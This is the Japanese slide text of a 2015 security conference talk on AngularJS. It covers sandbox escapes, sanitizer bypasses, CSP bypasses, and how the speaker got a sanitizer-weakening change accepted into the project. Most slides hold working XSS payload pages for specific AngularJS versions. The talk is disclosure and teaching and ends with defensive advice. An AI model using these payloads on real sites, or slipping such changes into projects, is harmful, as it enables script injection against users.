AngularJSとの危険な関係 by Mario Heiderich - CODE BLUE 2015

AngularJS との危険な関係
「スーパーヒーロー」フレームワークによるセキュリティ
をめぐる冒険
マリオ・ハイデリッヒ
mario@cure53.de || @0x6D6172696F

貴方の DOM の中のゴジラ
●
工学博士マリオハイテリッヒ・゙
●
ルール大学ボーフム研究者・ポスドク
●
博士論文はクライアントサイドのセキュリ
ティと防御について
●
Cure53 創設者
●
ベルリンに在るペネトレーションテストとセ
キュリティの会社
●
セキュリティコンサルティング、ワーク
ショップ、トレーニング
●
簡単に言うと、世界一の会社
●
著作と講演の実績
●
専門分野は HTML5 、 DOM 、 SVG のセ
キュリティ
●
JavaScript 、 XSS 、クライアントサイド攻
撃
●
HTML5 セキュリティの「カンニングペーパー」
●
そして DOM 浄化！
●
@0x6D6172696F
●
mario@cure53.de

今日は AngularJS について話をしたい。
そして、
それがどのようにセキュリティに対応しているかを。
でもなぜ？全ては関連している？

そして、最も大事なこととして、
AngularJS は
Java スクリプトフレームワークの
ハニーブーブー注 ) なの？
注）ハニーブーブー：米国で話題になった番組の主人公
私にはチキンナゲットパワーが有るのよ！

AngularJS とは？
●
ポピュラーな JavaScript MVC フレームワーク
●
実際に MVW （ Model-View-Whatever ）
●
自称「スーパーヒーローフレームワーク」
●
Google がメンテナンスして推奨
●
分極化の哲学
●
ユーザ層は常に増加
●
高い採用率
●
GitHub レポジトリの大トラフィック

なぜ AngularJS
●
AngularJS とその不正行為についてについて話す
のは初めてではない。
●
事実、「 AngularJS 狩り」は結構しばしばやって
いた。
●
これは一つの事例。
●
不思議な議論への誘い。
●
個人的な理由？いや、違う理由だよ。

関係した理由
●
とても強い自己愛を獲得している（皮肉なことにね！分
かりきったことだろうけど）。スーパーヒーローフレー
ムワーク。
●
Web サイトの動作を変えつつある。
●
APIをよくぶっ壊してアップグレードを難しくしている。
●
HTML より賢い方法だと思われていて、 markup-sugar との相
性もいい。
●
間もなく出る Version 2.0 で全てがぶっ壊される。

MVC のハニーブーブー ?
私は自分が魚だと思うの

多分違う・・・
●
AngularJS は高いセキュリティレベルを標準で備えてい
る。
●
ルールに従えば、セキュリティレベルは素晴らしいも
のになる。
●
開発する人とメンテナンスする人の両方において。
●
そして、ブラウザ内で動いているあらゆる複雑なも
のはブラウザを知る必要が有る。
●
階層構造になった Web セキュリティのパラドクス。
●
ネットワーク、サーバ、ブラウザ、フレームワーク、
ユーザ、そして、ネットワークに戻っていく全ての
道筋。。。

ユーザがクライアント側のテンプレートを変更できな
いように
アプリケーションを設計するのが良い。例を挙げる
と：
クライアントとサーバのテンプレートを混同しない。
ユーザからの入力で動的にテンプレートを生成させな
い。
ユーザからの入力を $scope.$eval で実行しない。
CSP を使うことを考える（しかし、 CSP のみにたよって
はダメ）
https://docs.angularjs.org/guide/security

じゃあ、意地悪になって攻撃してみよう
でも何を？
何を見るべき？

４つの主な攻撃経路
●
A1: サンドボックスを攻撃する
●
A2: サニタイザーを攻撃する
●
A3: CSP モードを攻撃する
●
A4: コードベースで攻撃する

A1: AngularJS のサンドボックス
●
AngularJS のサンドボックスは不思議な動機によるおかし
な創造物になっている。
●
ドキュメントによるとセキュリティツールではない。
●
「 DOM から開発を切り離すこと」が主な役割だとのこ
と。
●
危険を回避するために元々の DOM の露出を制限すると
の意味。
●
AngularJS のサンドボックスは式といくつかの命令のため
に存在している。
●
式に反映されたユーザの入力が直ちに XSS を意味するこ
とが有る。サンドボックスはこれを防ぐ。

A1: 最初のバイパス
●
初期の AngularJS においてはサンドボックスのバイパス
は簡単なものだった
●
{{constructor.constructor('alert(1)')()}}
●
それだけ。スコープオブジェクトの constructor にアクセ
スして、次にまた constructor にアクセスして
Function を手に入れて完了。
●
Function('code here')(); // like an eval
●
この攻撃は AngularJS1.0 で可能になり、 1.2.0 でできな
くなった。
●
悲しいことに、多くのサイトはまだ AngularJS 1.1.x を
使っている。
●
API が変わるため人アップグレードが難しくなっている、
もしくは、アップグレードに関心が無いか。

<!– 幼稚園児でもできるサンドボックスのバイパス --!>
<script
src="//ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular.min.js">
</script>
<div class="ng-app">
{{ constructor.constructor('alert(1)')() }}
</div>

A1: 最初の修正
●
AngularJS はこれに反応して修正した。「セキュリ
ティツールじゃない」から（だよね？）。
●
この修正は Function ( とその他の危険なオブジェク
ト ) へのアクセスを制限する形で行われた。
●
だから、 Function をどこか違う場所から取ってこ
ないといけない。
●
どこか、 AngulartJS が知らないアクセスできる場
所。
●
ES5 では、コールバックして __proto__ が補助す
る、ここだ！

A1: さらなるバイパス
●
AngularJS のパーサーは実にスマート。
●
バイパスはより創造的にならないといけない。
●
Jann Horn 、 Mathias Karlsson 、 Gábor Molnár
が発見者。
●
そして、幸運にも、 Function を取ってくるメソッ
ドを提供するオブジェクトを持っていた。
●
もしくは、先に述べたコールバック。
●
これからちょっとの間、詳しく見ていこう。

<!-- Jann Horn のバイパス --!>
<html ng-app>
<head>
<meta charset="utf-8">
<script
src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.18/angular.js"
></script>
</head>
<body>
{{
(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor
( _.__proto__,$).value,0,'alert(1)')()
}}
</body>

<!-- AngularJS 1.2.0 における他の方法 --!>
<html ng-app>
<head>
<script
src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.18/angular
.js"
></script>
</head>
<body>
{{
a="constructor";b={};
a.sub.call.call(b[a].getOwnPropertyDescriptor(
b[a].getPrototypeOf(
a.sub),a).value,0,'alert(1)')()
}}
</body>

<html ng-app>
<head>
<script
src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.23/angular
.js">
</script>
</head>
<body>
{{
toString.constructor.prototype.toString
=toString.constructor.prototype.call;
["a","alert(1)"].sort(toString.constructor)
}}
</body>

<script
src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.0/angular.
js">
</script>
<body ng-app>
{{
!ready && (ready = true) && (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(''+''.toString(
'F = Function.prototype;' +
'F.apply = F.a;' + 'delete F.a;' + 'delete
F.valueOf;' +
'alert(42);'
))
);
}}
</body>

<!– アトリビュート経由のバイパス、ユーザの操作は必要なし
→
<!– このページを URL に #foo を含めて開くだけ -->
<!doctype html>
<html>
<head>
<script
js"
>
</script>
</head>
<body>
<a id="foo" ng-app ng-
focus="$event.view.location.replace('javascript:document.writ
e(document.domain)')" contenteditable="true"></a>
</body>
</html>

A1: 極端なバイパス
●
Jann Horn が 1.3.2 においてもう一つのバイパス
を報告した、それは常識を超えている

<!– Jann のむしろ端なバイパス極 -->
<script
src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.2/angular.js"></scri
pt>
<body ng-app ng-csp>
{{
objectPrototype = ({})[['__proto__']];
objectPrototype[['__defineSetter__']]('$parent', $root.$$postDigest);
$root.$$listenerCount[['constructor']] = 0;
$root.$$listeners = [].map;
$root.$$listeners.indexOf = [].map.bind;
functionPrototype = [].map[['__proto__']];
functionToString = functionPrototype.toString;
functionPrototype.push = ({}).valueOf;
functionPrototype.indexOf = [].map.bind;
foo = $root.$on('constructor', null);
functionPrototype.toString = $root.$new;
foo();
}}
{{
functionPrototype.toString = functionToString;
functionPrototype.indexOf = null;
functionPrototype.push = null;
$root.$$listeners = {};
baz ? 0 : $root.$$postDigestQueue[0]('alert(location)')();
baz = true;''
}}

A1: 現在の状態
●
1.3.2 から最新のバーションはどうなってる？
●
公表されているサンドボックスのバイパスは無い。
●
幅広いアクセスは制限されている。
●
window も、 Function も、 Object も、 call() や
apply() も、 document も、 DOM ノードも無い。
●
そして、パーサーが理解しない他の興味深いもの、例え
ば RegEx 、 “ new” 、 anonymous 関数も。
●
じゃあこれで終わり？
●
ちょっと見てみよう！

<html>
<head>
<script
js"
></script>
</head>
<body ng-app>
{{
'this is how you write a number properly. also, numbers are
basically arrays.';
0[['__proto__']].toString = [][['__proto__']].pop;
0[['__proto__']][0] =
'alert("TROLOLOLn"+document.location)';
0[['__proto__']].length = 1;
'did you know that angularjs eval parses, then re-stringifies
numbers? :)';
$root.$eval("x=0", $root);
}}
</body>

A1: ユーザの介在
●
そして、様々な方法が有ってメンテナンスする
人も手が回らない。
●
例えば、 copy&paste 、私のお気に入り。

<meta charset="UTF-8">
<script
min.js"></script>
<body ng-app="">
<input ng-copy="
$event.preventDefault();
$event.clipboardData.setData('text/html','<div
contenteditable="false"><svg><a
xlink:href="?"
xmlns:xlink="http://www.w3.org/1999/xlink"><c
ircle r="500"
fill="red"></circle><animate
attributeName="xlink:href"
from="javascript:alert(1)" to="&"
begin="0"></animate></a></svg>
</div&gt')
" value="Copy Me">
<div contenteditable>PASTE HERE</div>
</body>

サラダなんて食べたことないわ

A2: サニタイザー
●
AngularJS には組み込まれた HTML のサニタイザーが有
る。
●
$sanitize という名のコンポーネント。
●
その目的は XSS 攻撃を HTML の文字から洗い落とすこ
と。
●
そして、しっかりと安全に使用できるようにきれいな
HTML を返す。
●
２つのメジャーなバージョンが有って、ひとつは酷い、
ひとつはそんなに悪くない。

A2: 古いサニタイザー
●
古いサニタイザーは、 2008年製の HTML パー
サーを使っている。
●
その古いものは John E. Resig が開発、
●
極端に厳格で、設定が難しく、いつもクラッ
シュする。
●
試すことのできるテストケースを公開した。
●
いくつかの条件を満たせばバイパス可能。
●
Chrome のため。
●
それから、 Gareth Heyes に敬意を表して！ !

インジェクション :
<svg xmlns:xlink="http://www.w3.org/1999/xlink"><use xlink:href="test.json?callback=%3Csvg%20id
%3D%27rectangle%27%20xmlns%3D%27http%3A//www.w3.org/2000/svg%27%20xmlns%3Axlink%3D
%27http%3A//www.w3.org/1999/xlink%27%20width%3D%27100%27%20height%3D%27100%27%3E
%3Ca%20xlink%3Ahref%3D%27javascript%3Aalert%28location%29%27%3E%3Crect%20x%3D
%270%27%20y%3D%270%27%20width%3D%27100%27%20height%3D%27100%27%20/%3E%3C/a%3E
%3C/svg%3E#rectangle"></use></svg>
Chrome は SVG <use> のコンテンツタイプを無視する！ !

A2: 新しいサニタイザ―
●
新しいサニタイザーはまだ醜い。しかし、パーサーの代
わりに DOM を使っている。
●
すなわち、 document.implementation 、ちょうど
DOMPurify のように。
●
古いパーサーよりも厳格、なので、 SVG はデフォルト
で禁止されている。 (-”-)
●
初期バージョンは SVG を禁止してなかったので「バイ
パス可能」だった。
●
そして、 SVG は正直言って扱いづらい。
●
新しいバージョンも同じで、まだ「バイパス可能」
●
これもまた Chrome だから。
●
Roman Shafigullin に乾杯。

影響する文字 :
       
       
       
   
Chrome における古典的 mXSS ！

ドラマなんていらないわ

A3: CSP モードを攻撃
●
他の多くのフレームワークとは違って、 AngularJS
は CSP との相性が良い。
●
CSP とは？ Content Security Policy.
●
「 XSS キラー」になりたかったもの。
●
そして、そうならなければならないもの。そうでな
いと、エクステンションその他に展開できなかっ
ただろうから。
●
CSP のコンパチビリティは強みであると同時に弱み
でもある。
●
もちろん、興味が有るのは後者。

A3: 初期の CSP バイパス
●
最初に見つかったバイパスは控えめに言っても些細なもの
だった。フレームワークの機能を使うだけ。
●
強い CSP と古い AngularJS を使っている Web サイトが
ターゲット。
●
インジェクションを見つける。
●
「 onclick=”alert(1) 」はやってはダメ
●
代わりに「 ng-click=“$event.view.alert(1) 」をやる
●
というのは $event は view 経由で window をリークする
●
この方法は Version1.1.5 まで有効。

<?php
header('Content-Security-Policy: default-src 'self'
ajax.googleapis.com');
?><html ng-app ng-csp>
<head>
<script
js"
></script>
</head>
<body>
<h1 ng-click="$event.view.alert(1)">XSS</h1>
<h1 ng:click="$event.view.alert(2)">XSS</h1>
<h1 x-ng-click="$event.view.alert(3)">XSS</h1>
<h1 data-ng-click="$event.view.alert(4)">XSS</h1>
<h1 _-_-_-ng_-_-_click="$event.view.alert(5)">XSS</h1>
</body>
</html>

A3: 修正と新しいバイパス
●
どうしてここでサンドボックスも使わない？
●
AngularJS は、 window と他のプロパティへのアクセスを防御し
始めた。
●
なので、 Chromeの欠陥を Blob に手伝ってもらいながら悪用しつ
つ間接的に行う。
●
しかし、 Blob には「新しい」オペレータが必要で、 AngularJS は
それをパースできない。
●
そこで、 ES6 と全く新しい Reflect API. を使うことをあてにする
必要が有る。
●
ちなみに、この方法は Version 1.3.1 まで有効。
●
しかし、問題が有る。 Chrome Reflect.construct() まだ実装して
いない。
●
そこで、今のところは理論上のものだけでしかない。
●
そして、 Firefox も Edge も blob ともに使う CSP が使用可能。

<?php
<head>
<script
js" ></script>
</head>
<body>
<h1 ng-click="
$event.view.location.replace($event.view.URL.createObjectURL(
$event. view.Reflect.construct( $event.view.Blob,
[['<script>alert(1)</script>'],{type:'text/html'}])))
">XSS</h1>

<h1 ng-
click="$event.view.location.replace('javascript:alert(1)')">X
SS</h1>
</body>

<h1 ng-click="
$event.view.location.replace( // 4. call location.replace
$event.view.URL.createObjectURL( // 3. create Blob URL
$event.view.Reflect.construct( // 2. get around “new”
$event.view.Blob,
[['<script>alert(1)</script>'],
{type:'text/html'}] // 1. build a Blob
)
)
);
">XSS</h1>

A3: 万能 CSP バイパス
●
簡単には直せないもう一つのバイパスが有る。
●
アプリケーションが Google CDN を使うところで可能。
●
Google が実装した collision check に関連しており、
ただ単に遅すぎた。
●
というのは、 1.2.15 以降に実装されたため。
●
“WARNING: Tried to load angular more than once.”
●
そして、ダウングレード攻撃を必ず可能にする。
●
従って、もし、 Google CDN がホワイトリストされてい
たら、 CSP は必ずバイパスされる。
ホワイトリストしないように。
●
ただ単に古いバイパスを戻してきただけ！

<?php
<head>
<script
src="//ajax.googleapis.com/ajax/libs/angularjs/1.4.6/angular.j
s" ></script>
</head>
<body>
<h1
class=""><script/src=//ajax.googleapis.com/ajax/libs/angularjs
/1.1.5/angular.js></script><h1/ng-
click=$event.view.alert(1)//>CLICKME"></h1>
</body>

今、リラックス中・・・

A4: コードベースでの攻撃
●
攻撃に使えるバグが見つからなかったら、攻撃者は
どうする？
●
もちろん、プロジェクトそのものを攻撃する。
●
そして、オープンソースのパワーを使って、欲しい
バグの原因となる変更を紹介する。
●
そして、それによって、バグを報告したことによる
賞賛と望んだ攻撃箇所がタダで手に入る。
●
それを AngularJS に対して行った。
●
Google セキュリティは事前に知ってい
た。 AngularJS は知らなかった。

A4: The Con-Setup
●
修正されるとセキュリティ上の課題となるような分かりにく
い「バグ」が必要だった。
●
あるいは、 QA を通るほど怪しくない Pull リクエストを
こっそり組み込む。
●
最初のオプションは現実的ではない。宝くじに当たるような
もの。
●
二番目のオプションはリスクが大きい。見つかったら？
●
で・・・
●
幸運なことに、 $sanitizer コンポーネント内にまさし
く分かりにくい「バグ」が存在していた。
●
さあ、見てみよう!

A4: バグ
// SVG attributes (without "id" and "name" attributes)
// https://wiki.whatwg.org/wiki/Sanitization_rules#svg_Attributes
var svgAttrs = makeMap('accent-height,accumulate,additive,alphabetic,arabic-
form,ascent,' +
'attributeName,attributeType,baseProfile,bbox,begin,by,calcMode,cap-
height,class,color,' +
'color-rendering,content,cx,cy,d,dx,dy,descent,display,dur,end,fill,fill-
rule,font-family,' +
'font-size,font-stretch,font-style,font-variant,font-
weight,from,fx,fy,g1,g2,glyph-name,' +
'gradientUnits,hanging,height,horiz-adv-x,horiz-origin-
x,ideographic,k,keyPoints,' +
'keySplines,keyTimes,lang,marker-end,marker-mid,marker-
start,markerHeight,markerUnits,' +
'markerWidth,mathematical,max,min,offset,opacity,orient,origin,overline-
position,' +
'overline-thickness,panose-
1,path,pathLength,points,preserveAspectRatio,r,refX,refY,' +
'repeatCount,repeatDur,requiredExtensions,requiredFeatures,restart,rotate,rx,ry,s
lope,stemh,' +
'stemv,stop-color,stop-opacity,strikethrough-position,strikethrough-
thickness,stroke,' +
'stroke-dasharray,stroke-dashoffset,stroke-linecap,stroke-linejoin,stroke-
miterlimit,' +
'stroke-opacity,stroke-width,systemLanguage,target,text-
anchor,to,transform,type,u1,u2,' +
楽しいことに、これらのアトリビュートは廃止予定の WHATWG Wiki のお
かげで、安全と思われていた : https://wiki.whatwg.org/wiki/Sanitization_rules

A4: バグ
angular.forEach(attrs, function(value, key) {
var lkey = angular.lowercase(key); // < here!
var isImage = (tag === 'img' && lkey === 'src') || (lkey ===
'background');
if (validAttrs[lkey] === true &&
(uriAttrs[lkey] !== true || uriValidator(value, isImage))) {
out(' ');
out(key);
out('="');
out(encodeEntities(value));
out('"');
}
}
);
ここに示されているように、 lowercase がテストを無意味なものにしてい
るだけでなく、正当なアトリビュートがパスしない。偶然にも、これは
危険なアトリビュートにも正確にあてはまる。ありがとう SVG ！

A4: 実行
●
つまり、もし、サニタイザ―においてこの特定の動
作が見られたら、バイパスをブロックする。。。
●
バグを報告して修正してもらわなくてはならない！
●
バグだよ。バイパスじゃないよ（ ^^ ）
●
で、報告しました。
●
そして、受け付けられました！

A4: バイパス
<svg>
<a xmlns:xlink="http://www.w3.org/1999/xlink"
xlink:href="?">
<circle r="400"></circle>
<animate attributeName="xlink:href"
begin="0" from="javascript:alert(1)" to="&" />
</a>
</svg>
アニメーションでリンクの href アトリビュートを最初からお見せしま
す。危険な状態から、ブラウザが不正な状態にジャンプして戻る原因と
なる無害で不正な状態になるところまでのカッコいいところをｗｗ

A4: その後
●
Google セキュリティに報告。
●
彼らが AngularJS Team に通知。
●
数週間何も起こらず。
●
次のリリースが近づいてきた。危ないねぇ！
●
再び修正を促した。
●
ついに、バグを修正した。
●
やれやれ ( ;;^^
●
今は、その部分は開発者に警告を与えるために多量
のコメントが付いている。

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* * * *
* Any commits to this file should be reviewed with security in
mind. *
* Changes to this file can potentially create security
vulnerabilities. *
* An approval from 2 Core members with history of modifying
*
* this file is required.
*
*
*
* Does the change somehow allow for arbitrary javascript to be
executed? *
* Or allows for someone to change the prototype of built-in
objects? *
* Or gives undesired access to variables likes document or
window? *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* * * */

そして、もし、このことをやったために、
私達をちょっぴり嫌う人がいた場合に。。。

バグ報奨金まで
もらったんだよ！
( O )/^ ^

てっとり早く結論
●
AngularJS は、攻撃の幅を恐ろしく広げてくれた。古いバージョンは
特に広い。
●
その間、いくつかの正しいことがなされた。他は、ほぼ二度と修正
されることが無い。
●
開発者は危険を知って避けなくてはならない。
●
そして、危険は往々にして不公平なまでに見つけるのも避けるのも
難しい。特に CSP を使っている場合は。
●
多くのサイトはいまだに古いバージョンを使っている。
多いんだよ。
●
レポジトリへのトラフィックが多いオープンソースは危険
●
Google のチームはすでにいい仕事をしているが・・・
●
しかし、 Google は開発者を助けるためにもっとできるはず。

終わり
●
質問？
●
コメント？
●
有難うございました！
●
歓声はこちらまで↓
●
Gareth McHeyes
●
Jann Horn
●
Mathias Karlsson
●
G bor Moln rá á
●
David Ross
●
Eduardo Vela

AngularJSとの危険な関係 by Mario Heiderich - CODE BLUE 2015

Recomendados

Recomendados

Más contenido relacionado

Destacado

Destacado (10)

Similar a AngularJSとの危険な関係 by Mario Heiderich - CODE BLUE 2015

Similar a AngularJSとの危険な関係 by Mario Heiderich - CODE BLUE 2015 (12)

Más de CODE BLUE

Más de CODE BLUE (20)

AngularJSとの危険な関係 by Mario Heiderich - CODE BLUE 2015